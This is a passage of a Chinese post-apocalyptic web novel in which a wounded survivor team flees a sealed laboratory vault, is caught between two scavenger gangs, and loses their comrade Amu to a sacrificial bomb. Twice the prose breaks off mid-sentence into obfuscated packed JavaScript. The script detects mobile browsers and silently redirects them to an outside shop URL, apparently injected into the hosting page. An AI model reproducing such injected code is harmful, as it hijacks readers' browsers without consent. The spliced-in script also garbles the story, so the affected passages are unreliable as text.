雷烬的心沉到了谷底。他知道阿木生还的希望渺茫。他强忍悲痛和身体的剧痛,开始尝试联络其他安全舱,并调取B-7储备库本身的日志记录(尽管大部分加密或损坏)。他发现了更多关于Z-07的记录碎片,提到了“高活性暗影亲和灵能载体”、“非自愿收容”、“稳定性实验失败”等字眼,以及一个更令人不安的备注:“项目与‘摇篮’第七病栋‘影蚀’现象高度同源,疑似存在跨区域污染扩散通道。” 第七病栋…顾风来的地方。这里封存的样本,和顾风身上的问题,同源! 他还发现,净化程序虽然清除了大部分活性污染,但也耗尽了储备库本就不多的应急能源。除了几个安全舱的独立系统,主库区的大部分功能(包括大门、内部照明、环境调节)都已瘫痪或即将瘫痪。他们必须尽快找到出路,否则一旦安全舱资源耗尽,或者库内残留的辐射与涅槃剂发生未知变化,仍是死路一条。 林岚的安全舱内,她和依旧昏迷的小豆挤在一起。林岚相对冷静,她利用安全舱内简单的医疗监测设备时刻关注小豆的生命体征,同时也在分析舱外环境数据。她确认了涅槃剂的种类和衰减周期,计算着大致安全的出舱时间窗口。她也尝试过呼叫顾风和雷烬,但通讯时好时坏。她更多地思考着老陈的话和这里的发现。“绿洲”项目、摇篮、影响、样本…这一切背后,似乎有一条隐约的线,指向某个庞大而黑暗的真相。 第七十二小时即将到来。 三个安全舱的舱门,几乎在同一时间,发出了解锁的“嗤”声。内部的屏幕显示:【外部环境风险等级降至黄色(中度风险)。建议谨慎出舱。生命维持系统将在30分钟后关闭。】 顾风深吸一口气,活动了一下僵硬的四肢。影子在他脚下无声地延伸,似乎在“伸展筋骨”。他拿起舱内配备的一把简陋的切割工具(类似消防斧但更小)和仅剩的半管营养膏,推开了沉重的舱门。 冰冷、干燥、带着淡淡化学异味的空气涌了进来。库房内光线极度昏暗,只有寥寥几盏应急灯提供着微光。远处,林岚的舱门也打开了,她搀扶着依旧虚弱但似乎恢复了些许意识的小豆走了出来。另一边,主控台方向传来沉重的脚步声和拐杖敲击地面的声音,雷烬踉跄地走了出来,脸色灰败,嘴唇干裂,但眼神依旧锐利如鹰。 三人(加半个小豆)在空旷、死寂、布满灰白霜痕的货架间汇合。没有欢呼,只有劫后余生的疲惫和更深沉的凝重。 “阿木…”林岚声音沙哑。 雷烬摇了摇头,眼神痛苦而黯淡:“没看到他出来。监控最后…他可能…” 沉默。空气中弥漫着悲伤和无力。 “老陈也没信号。”顾风补充道,心情复杂。 “这里不能久留。”雷烬强打精神,“能源快耗尽了,大门不知道还能不能打开。我们必须找到其他出路,或者…重启部分系统。”他看向林岚,“主控台那边还有些残存信息,关于备用出口和能源室的位置,但需要权限和可能的手动操作。” 林岚点头:“小豆需要进一步治疗,这里的辐射虽然减弱,但仍有影响。我们必须尽快离开。” 就在这时,顾风猛地抬起头,警惕地望向库房入口方向——那条他们进来的管道,以及更外面被撞坏的密封门。 “有声音。”他低声道,影子在他脚下微微波动,传递来一种混杂着“警惕”和“好奇”的模糊感知。 雷烬和林岚立刻屏息凝神。几秒后,他们都听到了——并非来自生活区方向,而是…似乎从他们头顶上方,隔着厚厚的混凝土和金属结构传来!是模糊的、杂乱的脚步声,金属碰撞声,还有…压低的人声! 不止一个人!而且正在移动,似乎在搜索或探索这个区域的上层结构! “是其他幸存者?”林岚压低声音,眼中闪过一丝希望,但随即被警惕取代。在废土,陌生的幸存者往往意味着掠夺和危险。 “也可能是被之前的动静吸引来的。”雷烬眼神冰冷,“准备隐蔽。顾风,你去管道口那边看看,小心。林岚,带小豆躲到那个货架后面。” 顾风点头,握紧切割工具,悄无声息地移动到管道口下方,侧耳倾听。上面的声音更加清晰了,似乎就在他们进来的那个缓冲间上方某处。一个粗嘎的男声在说: “…刚才下面肯定有能量爆发!虽然被屏蔽了大部分,但老子这‘寻能盘’还是感应到了!这鬼地方以前是‘绿洲’的窝点,肯定有好东西埋着!” 另一个尖细些的声音:“头儿,下面好像有个破口,像是被什么东西撞开的…还有战斗痕迹,新鲜的!” “下去看看!都打起精神!‘秃鹫’那帮杂碎可能也闻到味儿了,别被他们抢先!” 脚步声开始向下移动,越来越近! 顾风退回货架后,对雷烬和林岚快速低语:“不止一队人。他们在找能量源和物资。很可能有冲突。” 话音未落,只听“砰”的一声闷响,似乎有人跳进了他们进来的那个缓冲间。然后是更多的落地声和粗重的呼吸。 “妈的,什么味儿?像消毒水混着烤肉…” “这里有道破门!里面更黑!” 几道手电筒的光束,从破损的密封门外射了进来,在储备库入口处晃动。 顾风他们屏住呼吸,隐藏在货架的阴影里。小豆似乎被紧张气氛感染,不安地动了动,被林岚紧紧捂住嘴。 手电光扫过入口处的货架,没有深入。那个粗嘎的声音再次响起:“嚯!这么多架子!看样子是个仓库!兄弟们,散开搜!注意角落和暗门!值钱的东西,特别是灵珠或者能量结晶,都给我瞪大眼睛找!” 杂乱的脚步声涌入储备库,手电筒四处乱晃。听声音,大约有六七个人。 雷烬打出手势,示意顾风和林岚继续隐藏,不要轻举妄动。对方人多势众,且目的不明,冲突起来他们绝对吃亏。 闯入者们开始翻找货架。很快,失望的叫骂声响起。 “操!全是空的!” “这边也是!灰都几尺厚!” “头儿,这好像被人搬空很久了!” 那个被称为“头儿”的粗犷男人显然不信邪,他亲自检查了几个货架,然后把手电光射向库房深处,照到了那些低温雾气散去后露出的培养舱轮廓。 “那是什么玩意儿?”他疑惑道,“走过去看看!” 一行人小心翼翼地朝库房深处走去。手电光扫过顾风他们藏身的货架区域,最近的时候,距离他们只有不到五米。顾风能闻到对方身上传来的汗臭、血腥和劣质烟草混合的气味。 幸运的是,对方并未发现他们,注意力都被培养舱吸引了。 “我靠!这什么鬼东西?玻璃罐子里泡着人?”尖细声音惊呼。 “好像还连着管子…是实验体吧?‘绿洲’那帮疯子果然没干好事…” “别碰!谁知道有没有毒或者辐射!”粗嘎头儿喝道,但他自己却用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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顾风趁此机会,快速冲向雷烬的方向。他的影子在奔跑中拉长、扭曲,在昏暗闪烁的红光下显得格外诡异。一种冰冷的、带着暴戾气息的意念从他心中升起——影子在渴望…战斗?或者…吞噬? 按住雷烬的一个大汉看到顾风冲来,狞笑一声,松开雷烬,抽出腰间的砍刀迎了上来:“小子找死!” 顾风没有武器,但他此刻肾上腺素狂飙,影子的躁动也赋予了他某种超越平时的速度和反应。他侧身躲开劈砍,一脚踹在大汉膝窝,同时伸手去夺刀。大汉踉跄一下,但经验丰富,反手一刀撩向顾风腹部! 千钧一发之际,顾风脚下的影子突然**暴涨**,如同有生命的触手般,瞬间缠住了大汉的脚踝!冰冷刺骨的触感让大汉动作一滞,脸上露出骇然之色。 顾风抓住机会,一拳狠狠砸在大汉鼻梁上,同时夺过了砍刀! “怪物!他的影子!”大汉惨叫后退,指着顾风,声音充满恐惧。 这一下,所有闯入者的注意力都被顾风和他那“活过来”的影子吸引了。就连那个粗嘎头儿也脸色大变,看向顾风的眼神充满了惊疑和贪婪。 “灵能者?还是…异变体?”粗嘎头儿舔了舔嘴唇,“抓住他!要活的!这种‘材料’,黑市上能换大价钱!” 更多闯入者围了上来,武器对准顾风和林岚(她已将小豆护在身后,手持匕首,眼神决绝)。 雷烬被按在地上,嘴角流血,却对顾风大喊:“别管我们!带着林岚和小豆走!” 走?往哪里走?大门紧闭,出路未知。 顾风握紧夺来的砍刀,背靠着货架,影子在他周身无声地蠕动、扩张,散发出令人不安的冰冷气息。他感到影子的“饥饿感”在增强,对眼前这些鲜活生命能量的“渴望”如同毒蛇吐信。 但他残存的理智在尖叫:不能放纵影子!那会彻底滑向深渊! 对峙。一触即发。 然而,就在这紧张时刻,库房入口方向,再次传来动静! 更多的脚步声,伴随着一个油滑而阴冷的声音响起:“哟,这不是‘拾荒狗’的老疤脸吗?动作挺快啊。找到什么好东西了,见者有份啊。” 又一伙人!被称为“秃鹫”的另一队掠夺者,到了! 粗嘎头儿——“老疤脸”脸色一变,顾不上顾风,转向入口,狞笑道:“秃鹫,你他妈鼻子倒灵!这里是我们先发现的!” “废土规矩,谁抢到算谁的。”被称为“秃鹫”的首领,一个瘦高、眼神阴鸷、脸上带着一道深刻疤痕的男人,带着七八个手下,大摇大摆地走了进来,目光扫过库房,在培养舱上停留一瞬,又落在被按住的雷烬、持刀对峙的顾风和林岚身上,最后,定格在顾风脚下那片异常活跃的影子上。 他的眼睛猛地亮起,如同发现猎物的秃鹫。 “暗影亲和异变体…而且活性这么高…”秃鹫的声音带着压抑不住的兴奋,“老疤脸,这次你可真是捡到宝了。不过,这东西,你把握不住。让给我,下面的破烂归你,怎么样?” “放你娘的屁!”老疤脸怒道,“老子先看到的!” 两伙闯入者,瞬间从搜寻者变成了对峙者。而顾风一行人,则成了夹在中间、最危险的“猎物”。 顾风的心脏沉到了谷底。前有狼,后有虎。雷烬被俘,林岚和小豆暴露,他自己成为众矢之的。影子在渴望战斗和吞噬,理智在崩塌边缘。 17. 血债与深渊 冰冷的对峙像一根绷紧的弦,在储备库死寂的空气中颤抖。两伙掠夺者,超过十五人,武器反射着应急灯不祥的红光,将顾风、林岚和被抓的雷烬围在中间。而顾风脚下那片蠕动膨胀的阴影,成了所有人目光的焦点——惊惧、贪婪、忌惮,种种情绪在那些肮脏的脸上交织。 “秃鹫,你他妈想黑吃黑?”老疤脸啐了一口,手中的土制□□枪口微微抬起,对准了后来的瘦高男人,“这异变崽子是老子先发现的!识相的就滚出去找别的食!” 秃鹫嗤笑一声,狭长的眼睛却死死盯着顾风的影子,仿佛在评估一件绝世珍宝。“老疤脸,废土的规矩你懂。好东西,有能者居之。你这几条‘拾荒狗’,配得上这种‘暗影胚子’吗?拿出去,你知道‘血瞳’商团会开什么价吗?”他慢条斯理地摆弄着手中一把改装过的、枪管细长的电磁手枪,“不如这样,人归我,这仓库里剩下的破烂,还有那俩俘虏,”他指了指雷烬和林岚,“归你。再额外补偿你三颗‘地火珠’,够你和你兄弟快活一阵子了。” 地火珠?顾风心头一动。那是一种能短暂激发火焰能力或制造爆炸的灵珠,在废土属于硬通货。这秃鹫出手倒是阔绰,也侧面印证了他对自己“价值”的极高评估。 老疤脸眼中贪婪一闪,显然有些意动。但他看了看顾风那诡异的影子,又看了看手下弟兄们惊疑不定的眼神,咬了咬牙:“五颗!再加那小子身上所有东西!”他指向顾风。 “成交。”秃鹫似乎早就料到,爽快地答应了,仿佛五颗地火珠只是小数目。他身后一个手下拿出一个小布袋,晃了晃,里面传来珠子碰撞的轻微脆响。 交易似乎瞬间达成。顾风感觉自己像一件货物,被随意定价和转让。愤怒和屈辱灼烧着他的胸腔,但更让他心悸的是影子传来的、对那袋灵珠强烈的、几乎要失控的**渴望**。它能“闻”到灵珠的能量! “顾风!别管我们!走!”雷烬挣扎着吼道,按着他的大汉狠狠给了他肚子一拳,让他闷哼一声蜷缩起来。 林岚将小豆紧紧护在身后,匕首横在胸前,脸色惨白但眼神倔强。她知道,落到这两伙人任何一方手里,都不会有好下场。 秃鹫使了个眼色,他手下两个人立刻上前,一左一右逼向顾风,手中拿着特制的、带有绝缘握柄和钩爪的金属套索,显然是专门用来对付危险异变体或大型变异兽的。 顾风大脑飞速运转。硬拼绝无胜算。利用两方矛盾?他们已经达成了肮脏交易。唯一的机会…也许是制造更大的混乱,或者… 他的目光扫过库房深处,那因为备用能源不稳定而持续闪烁的红光,以及培养舱中微微波动的液体。Z-07…老陈说它在“呼唤”影子… 一个极其危险、近乎疯狂的念头在他心中成形。 就在两个秃鹫手下即将抛出套索的瞬间,顾风动了!他没有后退,反而猛地向前踏出一步,同时,将全部的意志,不再用于压制影子,而是**引导**——引导它释放出那冰冷、暴戾、渴望吞噬的意念,并**刻意**将其指向秃鹫手中那袋灵珠,以及…更深处培养舱的方向! “吼——!” 一声并非从喉咙发出、而是直接从意识层面震荡开来的、混合着无数痛苦低语和贪婪嘶鸣的“咆哮”,以顾风为中心猛然扩散!那是影子意念的显化! 刹那间,顾风脚下的阴影如同爆炸般炸开!浓稠如墨的黑暗化作数十条扭曲舞动的触须,狂乱地抽打着空气,散发出令人灵魂冻结的寒意和混乱的灵能波动!库房内本就昏暗的光线被进一步吞噬,温度骤降! “啊!!”离得最近的两个秃鹫手下首当其冲,被几条阴影触须扫中,虽然物理伤害不大,但那直透骨髓的阴寒和意识层面的混乱冲击,让他们如坠冰窖,发出凄厉的惨叫,手中的套索脱手飞出。 老疤脸和秃鹫的人也被这突如其来的剧变吓了一跳,下意识地后退,举起武器,惊疑不定。 “控制不住了!他要异变彻底了!”秃鹫眼中闪过一丝惊骇,但随即被更强烈的兴奋取代,“抓住他!要活的!这活性…远超预料!” 然而,顾风的目标并非攻击任何人。在影子爆发的掩护下,他强忍着脑海中被无数冰冷杂音充斥的痛苦,用尽最后的清明,朝着库房深处、主控台和培养舱的方向,用尽力气嘶吼道:“能量!那里有更强的能量源!他要那个!!!” 这句话,他是用人类的语言吼出的,确保两伙掠夺者都能听清。 同时,他暗中对影子下达了最后一个混乱的指令:**去!去那里!吞噬!** 完全释放束缚的影子,如同脱缰的疯狗,遵循着最本能的渴望——对灵珠能量的渴望,以及对库房深处那同源“呼唤”的感应——猛地调转方向,舍弃了近在咫尺的人类,化作一道翻滚的、咆哮的黑暗洪流,朝着Z-07样本所在的培养舱区域猛扑过去! 它所过之处,地面凝结出白霜,残留的涅槃剂尘埃被卷起,在红光中形成诡异的轨迹。 这一下,所有人都愣住了。 老疤脸和秃鹫先是惊愕,随即目光不由自主地追随着那道恐怖的暗影洪流,看向了库房深处。 更强的能量源?培养舱里的东西? 贪婪瞬间压过了对顾风影子异变的恐惧。如果那异变影子渴望的是那里面的东西,那说明那里的“能量源”价值可能更高! “拦住它!”秃鹫第一个反应过来,对那袋灵珠的承诺瞬间抛到脑后,电磁手枪抬起,一道细长的蓝色电光射向黑暗洪流!电光没入黑暗,只激起一片涟漪和更愤怒的嘶鸣,但确实让洪流的速度缓了一缓。 “兄弟们!抢那个罐子!”老疤脸也红了眼,管他是什么,先抢到手再说!他带着手下也朝着培养舱冲去,同时不忘对秃鹫吼道:“秃鹫!先联手干掉这鬼影子!东西到手再分!” 秃鹫眼神闪烁,瞬间权衡利弊,点头:“好!先对付这鬼东西!” 两伙刚刚还在对峙的掠夺者,因为更大的利益诱惑(以及顾风刻意制造的误导),暂时达成了脆弱的同盟,他们的火力瞬间从顾风身上转移,齐齐指向了扑向培养舱的暗影洪流! 顾风赌对了!他利用影子的失控和掠夺者的贪婪,制造了暂时的喘息之机! 他踉跄一下,几乎虚脱。刚才主动引导并部分释放影子,对他精神造成的负担极大,脑海中冰冷杂音的回响让他头痛欲裂,视线阵阵发黑。但他知道现在不是休息的时候。 他猛扑向按住雷烬的那两个大汉!那两人也被库房深处的突变吸引了注意力,一时松懈。顾风捡起地上之前掷出的切割工具,狠狠砸在一人后脑,另一人惊觉回身,被他用夺来的砍刀架住脖子。 “放开他!”顾风嘶哑道,眼中布满血丝,配合着远处暗影洪流的咆哮和激烈的枪声,显得格外狰狞。 那大汉吓得一哆嗦,松开了雷烬。顾风一脚将他踹开,扶起雷烬。“能走吗?” 雷烬咳着血,点点头,捡起地上的拐杖,眼神复杂地看了顾风一眼,低声道:“你太冒险了…” “没别的选择。”顾风喘息着,又看向林岚。 林岚已经趁着混乱,拖着意识模糊的小豆躲到了更安全的货架夹角。她看到顾风看来,用力点了点头,示意自己暂时安全。 库房深处,战斗(如果那算战斗的话)已经白热化。暗影洪流疯狂地冲击着培养舱周围的防护能量场(因备用能源激活而微弱存在),发出刺耳的摩擦和能量湮灭的爆鸣。秃鹫和老疤脸的人则从两侧用各种武器——子弹、能量束、□□、甚至简陋的灵能激发装置——轰击着暗影洪流,试图削弱它或将它从培养舱前驱离。 暗影洪流虽然凶猛,但似乎缺乏真正的智慧,只是凭本能攻击和防御,在密集的火力下,体积开始缓慢缩小,颜色也淡了一些,发出痛苦的尖啸。但它对培养舱的执着异常强烈,死死缠住不放。 顾风能感觉到,自己与影子的连接并未完全切断,只是变得极其微弱和混乱。他能感受到影子的痛苦、愤怒,以及…对培养舱内东西越来越强烈的、几乎要同归于尽的**吞噬欲**。同时,他也隐约感觉到,培养舱里的Z-07样本,似乎也因为外部的能量冲击和同源影子的靠近,产生了某种更明显的…**回应**?一种微弱但坚定的精神波动,穿透了培养液和舱壁散发出来。 “走!趁现在!”雷烬指向库房一侧,那里有一个不起眼的、标识着“应急通道&能源室”的金属小门,之前被货架挡住大半。“从那里走!主控台记录显示那里可能通向一个旧的维修竖井,也许能出去!” 顾风点头,搀扶着雷烬,快速向林岚和小豆的位置移动。林岚也看到了那扇门,努力搀扶起小豆。 然而,他们的动向并没有完全逃脱注意。秃鹫手下那个尖细声音的家伙,一直比较机警,在朝暗影洪流开枪的间隙,回头瞥见了正在移动的顾风一行人。 “头儿!那几个俘虏想跑!”他尖叫道。 秃鹫正全神贯注对付暗影洪流,闻声头也不回地吼道:“拦住他们!别让那个异变体跑了!其他人继续火力压制这鬼影子!” 立刻,有三个秃鹫的手下和一个老疤脸的人(似乎也对“逃跑的货物”感兴趣)调转枪口,朝顾风他们冲来!子弹打在货架和地面上,溅起火星和碎屑! “快!”雷烬推了顾风一把,自己则猛地转身,用尽力气将拐杖掷向冲在最前面的一个敌人,然后就地一滚,躲到货架后,虽然牵动伤口让他脸色煞白,但也暂时避开了火力。 顾风一咬牙,将虚弱的雷烬暂时交给林岚(她一手搀着小豆,一手勉强扶住雷烬),自己则持刀迎向追兵!他必须争取时间打开那扇应急门! “小子,找死!”冲在最前面的秃鹫手下是个独眼壮汉,挥舞着一把沉重的钉头锤砸来! 顾风侧身闪避,砍刀格开钉头锤,火星四溅。他感到手臂发麻。这些人常年在废土厮杀,战斗力不容小觑。影子失控后,他失去了最大的依仗,只能靠本身的力气和还算敏捷的身手周旋。 另外两人也从侧面包抄过来,一人手持短矛,另一人则拿着手枪点射。 险象环生!顾风左支右绌,手臂和肩膀很快添了几道血痕。林岚焦急万分,但她要照顾两个伤员,根本无法帮忙。 就在顾风即将被短矛刺中肋部的千钧一发之际—— “嗖!” 一支粗糙但迅疾的弩箭,从库房入口方向的阴影里射出,精准地贯穿了持短矛者的咽喉!那人捂住脖子,嗬嗬倒地。 所有人都是一愣。 只见入口处,一个高大、沉默、浑身浴血、左肩有一个恐怖贯穿伤的身影,拄着一把砍缺口子的砍刀,一步步走了进来。他的脚步有些蹒跚,但每一步都沉重如山。他的脸上沾满血污,眼神却如同燃烧的余烬,死死锁定着那几个追击顾风的掠夺者。 阿木! 他还活着! “阿木!”林岚惊喜交加地喊道,眼泪瞬间涌出。 雷烬也从货架后探出头,看到阿木的身影,紧绷的脸上露出一丝如释重负,但看到他严重的伤势,心又提了起来。 阿木没有回应。他的目光扫过顾风的险境,扫过受伤的雷烬和虚弱的林岚、小豆,最后落在库房深处那正在与暗影洪流和两伙掠夺者纠缠的培养舱上,眼神深处闪过一丝刻骨的仇恨和痛苦。那些影子怪物… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081235|195322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和这里的“东西”,感觉同源! 他没有丝毫犹豫,强忍着剧痛,猛地加速,如同受伤但更显狂暴的猛兽,冲向那几个追击顾风的敌人!手中的破口砍刀带着凄厉的风声,直劈那个独眼壮汉! 独眼壮汉慌忙举锤格挡。“铛!”巨响中,钉头锤被磕飞,阿木的砍刀余势未衰,狠狠劈在壮汉胸膛,发出骨骼碎裂的闷响!壮汉惨叫着倒地。 另外那个拿手枪的吓傻了,转身想跑,被阿木反手一刀掷出,砍刀旋转着嵌进他的后背,扑倒在地。 瞬间解决两个威胁!阿木的悍勇震慑了剩余那个老疤脸的手下,那人怪叫一声,连滚爬爬地逃向自己同伙那边。 “走!”阿木低吼一声,声音沙哑得如同砂纸摩擦。他弯腰捡起一把敌人掉落的□□,挡在顾风他们和掠夺者之间,用眼神催促他们快进应急通道。 顾风来不及多说,扶起雷烬,林岚搀着小豆,四人跌跌撞撞冲向那扇应急门。顾风用切割工具猛砸门锁,几下之后,锁具崩坏,他用力拉开了沉重的金属门。门后是一条向下的、更加黑暗狭窄的金属楼梯,深不见底。 “阿木!快进来!”林岚回头急喊。 阿木却没有立刻跟上。他看了一眼库房深处。暗影洪流在密集火力下已经缩小到不足原来一半,变得更加稀薄透明,但依然疯狂。秃鹫和老疤脸的人虽然也有伤亡,但显然即将取得胜利,他们的注意力已经开始重新转向培养舱,以及…逃跑的顾风他们。 尤其是秃鹫,他看向阿木和应急门方向的眼神,充满了杀意。到嘴的肥肉(顾风)要跑,还损失了人手,他绝不会善罢甘休。 阿木知道,如果所有人都挤进狭窄的楼梯,很容易被追上堵死。必须有人断后,争取时间。 他看了一眼顾风他们消失的门口,又看了一眼自己血肉模糊的左肩和几乎握不住枪的右手。脑海中闪过小芹和妞妞的脸,闪过废掉腿的小李…他亏欠的,已经太多。这条命,本就是捡来的,在影子怪物的围攻下侥幸逃脱(他砍杀了大部分,最后引爆了身上的□□才冲出一条血路,循着战斗声找到这里),已经值了。 他后退几步,背对着应急门,面对着缓缓逼近、眼神不善的秃鹫等人,以及远处那即将被攻破的暗影洪流和诡异的培养舱。 他扔掉了打空子弹的□□,从腰间(那里挂着一个空了的、原本装着兽牙护身符的皮绳)摸出最后一个东西——那是他从之前隧道里收集的、潜影鼠分泌腺体制成的、极不稳定的腐蚀性粘液炸弹,用破布和细绳简单捆着。 他用牙齿咬住细绳一端,猛地一扯! “一起…下去吧。”他对着逼近的掠夺者们,用只有自己能听到的声音,嘶哑地说道。然后,他用尽最后的力气,将那颗危险的炸弹,朝着库房深处——暗影洪流、培养舱、以及围在那里的秃鹫和老疤脸核心人员的方向,狠狠地投掷过去! “躲开!”秃鹫眼尖,看到那飞来的、滴着粘液的破布包,脸色剧变,厉声吼道。 但已经晚了。 炸弹落在培养舱基座附近,轰然炸开!没有火光,只有一大团墨绿色、散发着刺鼻腥臭的浓雾猛地扩散开来!浓雾所及之处,金属发出“滋滋”的腐蚀声,地面被蚀出坑洞,离得最近的几个掠夺者惨叫着捂住脸倒下,皮肤迅速溃烂! 更致命的是,这爆炸和腐蚀浓雾,彻底破坏了培养舱基座本就脆弱的能量线路和结构支撑! “咔嚓…轰隆!!!” 中央最大的培养舱,在外部攻击、内部样本波动、能量场紊乱和基座损坏的多重作用下,那坚固的透明舱壁,终于不堪重负,炸裂开来! 暗绿色的保存液如同决堤的洪水般汹涌喷出,混合着腐蚀浓雾,瞬间淹没了附近一大片区域!那个一直悬浮在液体中的、模糊的人形轮廓——样本Z-07,也随之摔落出来,浸泡在混合了保存液、腐蚀液和涅槃剂残留的污浊液体中。 与此同时,那已经稀薄不堪的暗影洪流,仿佛受到了终极的吸引,发出一声尖锐到极致的欢鸣(或悲鸣),猛地扑向了摔落出来的Z-07样本,瞬间将其包裹、吞噬、融合! 一股难以形容的、冰冷、混乱、但又仿佛带着某种奇异秩序的灵能风暴,以那个融合点为中心,轰然爆发! 冲击波裹挟着液体、碎玻璃、金属碎片和混乱的灵能乱流,向四周席卷!离得最近的秃鹫、老疤脸和他们剩余的手下,首当其冲,被狠狠掀飞,撞在货架或墙壁上,生死不知。整个库房都在剧烈震动,更多的应急灯熄灭,灰尘和碎屑如雨落下。 站在应急门口、刚刚完成投掷的阿木,也被这股猛烈的冲击波正面击中! 他如同断线的风筝般向后飞起,重重地撞在应急门边的金属墙壁上,发出一声令人心碎的闷响,然后滑落在地,一动不动。鲜血从他口鼻和身上的伤口汩汩涌出,迅速在地上蔓延开来。 他最后的目光,似乎望向了应急门内那片黑暗,那里有他刚刚用生命保护下来的、最后的同伴。然后,那如同余烬般的眼神,缓缓地、彻底地…熄灭了。 “阿木!!!”刚刚下到楼梯拐角、回头目睹了一切的林岚,发出撕心裂肺的哭喊。 顾风死死咬住嘴唇,血腥味在口中弥漫。他强迫自己转过头,搀扶着几乎站立不稳的雷烬,嘶声道:“走!” 楼梯下方,黑暗吞噬了他们。头顶,储备库内,灵能风暴仍在肆虐,混合着掠夺者的惨叫和某种非人的、仿佛无数声音重叠在一起的诡异低喃。 他们失去了阿木。这个沉默如石、却用最坚硬的方式守护了队伍最后的生路的汉子。 血债,已经刻下。而废土的漫漫长夜,还远未结束。 18. 竖井低语 黑暗,并非全然寂静。 应急合金门在身后沉重闭合的闷响,隔绝了储备库内那令人灵魂战栗的咆哮与能量乱流的尖啸,却将另一种更为粘稠的寂静压了下来。空气里弥漫着陈年的机油味、金属锈蚀的腥气,以及一丝若有若无的……湿润泥土与某种难以言喻的陈旧气息混合的味道。这里不再是精心维护的“绿洲”设施内部,更像是通往大地脏腑的、被遗忘的伤口。 顾风背靠着冰冷粗糙的混凝土井壁,大口喘息,每一次吸气都带着肺部火烧火燎的痛楚。引导影子、承受那股冰冷洪流的反冲、以及最后时刻目睹阿木被暗红风暴吞噬的景象,像三把钝刀反复切割着他的神经。手中的淡金色灵珠光芒比之前黯淡了许多,温暖感仍在持续渗入掌心,勉强对抗着骨髓深处蔓延开的寒意和耳边越发清晰的、仿佛无数碎冰相互摩擦的杂音。 “林岚……雷队怎么样?”顾风的声音沙哑得厉害。 微弱的光源来自林岚不知从哪里翻出来的一根旧荧光棒,惨绿色的光芒只能照亮一小片区域。林岚跪在雷烬身边,正快速检查他的伤势。雷烬靠坐在井壁,脸色在绿光下泛着死灰,呼吸浅促,左臂伤口处的绷带再次被渗出的、颜色不祥的暗红浸透。他紧闭着眼,眉头因痛苦而紧锁,但右手仍死死握着那根钢筋拐杖,指节发白。 “失血没有完全止住,伤口有感染迹象,可能还有内出血……他体力透支太严重了,旧伤也在反噬。”林岚的声音竭力保持平稳,但微微的颤抖泄露了她的恐惧。她快速从随身的小包里掏出最后的止血粉和消炎草药,动作却因为光线不足和手指的颤抖而显得有些笨拙。阿木的牺牲像一块巨石压在她心头,但她知道现在不能垮。 小豆被安置在稍远处一个相对平整的角落,裹着从储备库安全舱带出来的薄保温毯,依旧昏迷不醒,但呼吸平稳了一些。凝神苔的药膏暂时稳住了他精神的崩溃,但根治需要更专业的干预,或者……清心珠。而他们现在连下一颗最普通的丁级灵珠都没有。 顾风勉强撑起身,环视四周。这是一条直径约三米、竖直向下的维修/通风竖井。脚下是金属网格构成的平台,锈蚀严重,踩上去发出令人牙酸的“嘎吱”声。平台边缘有锈迹斑斑的扶梯向下延伸,消失在下方深不见底的黑暗里。向上看,隐约能看到十几米高处也有类似的平台和通道口,但大部分被黑暗吞噬。井壁上固定着粗大的管道和线缆束,许多已经断裂或耷拉下来,像巨兽死去的筋络。空气带着一股向下沉降的阴冷气流。 “这里……能通向哪里?”顾风低声问,更像是在问自己。 “老陈的图纸……只标到这里是‘应急通道-维护竖井β’,连接B-7储备库和更深层的……‘次级循环处理区’或‘未启用储备库’。”林岚头也不抬地回答,用牙齿撕开一卷相对干净的布条,“图纸到此为止,更深层没有标注。可能是他权限不够,也可能是……项目本身就没完全建成或记录。” 她顿了顿,声音更低:“而且,图纸是二十多年前的。大崩溃后,谁知道下面变成了什么样子。” 就在这时,一直闭目不语的雷烬忽然咳嗽了几声,喉头滚动,嘴角溢出一丝暗红色的血沫。林岚立刻用布巾轻轻擦拭。 雷烬缓缓睁开眼,眼神涣散了一瞬,随即凝聚起熟悉的、坚忍如岩石般的光。他看了看林岚,又看了看顾风,最后目光扫过昏迷的小豆和周围环境。 “阿木……”他开口,声音嘶哑得像砂纸摩擦。 “他拖住了……为我们争取了时间。”顾风截断了雷烬可能的话,他知道队长想问什么,但那个答案太沉重,现在说出来只会击垮所有人,“他引爆了炸弹,破坏了培养舱基座。风暴……很大。” 雷烬沉默了几秒,胸膛剧烈起伏了一下,然后缓缓点头。他没有再问细节,有些东西不需要亲眼看见,也能感受到那份灼痛与空缺。他挣扎着想坐直些,却被林岚轻轻按住。 “别动,队长。你需要保存体力。”林岚的声音带着不容置疑的坚持。 雷烬没有坚持,他的身体确实到了极限。“我们……不能久留。”他喘息着说,“储备库的门……不一定能完全挡住……风暴,或者……后面可能还有没死透的秃鹫。” 顾风心头一凛。是的,老疤脸和秃鹫那两伙人虽然在风暴中心,但难保没有离得远的残党,或者像他们一样找到了临时掩体。那些贪婪的鬣狗,一旦缓过气来,绝不会放过追踪。而他们现在,伤兵满营,弹尽粮绝。 “向下。”雷烬的目光投向脚下深不见底的黑暗,“图纸没有……但往往……维护竖井会通往……能源、水循环……或者物资转运节点。哪怕找到一点……水,或者能暂时栖身的……地方。” 这决定风险极大。下方是彻底的未知,可能藏着比影子怪物更可怕的东西,也可能是一条死路。但留在原地,同样是等死。 顾风握紧了手中的砍刀——这把从掠夺者手里夺来的简陋武器,如今是他们仅有的依仗之一。他看向林岚。 林岚已经处理完雷烬的伤口,将最后一点干净的布条缠好。她深吸一口气,点了点头:“我同意。但我们必须谨慎。顾风,你的……感知,现在能感觉到下面有什么异常吗?” 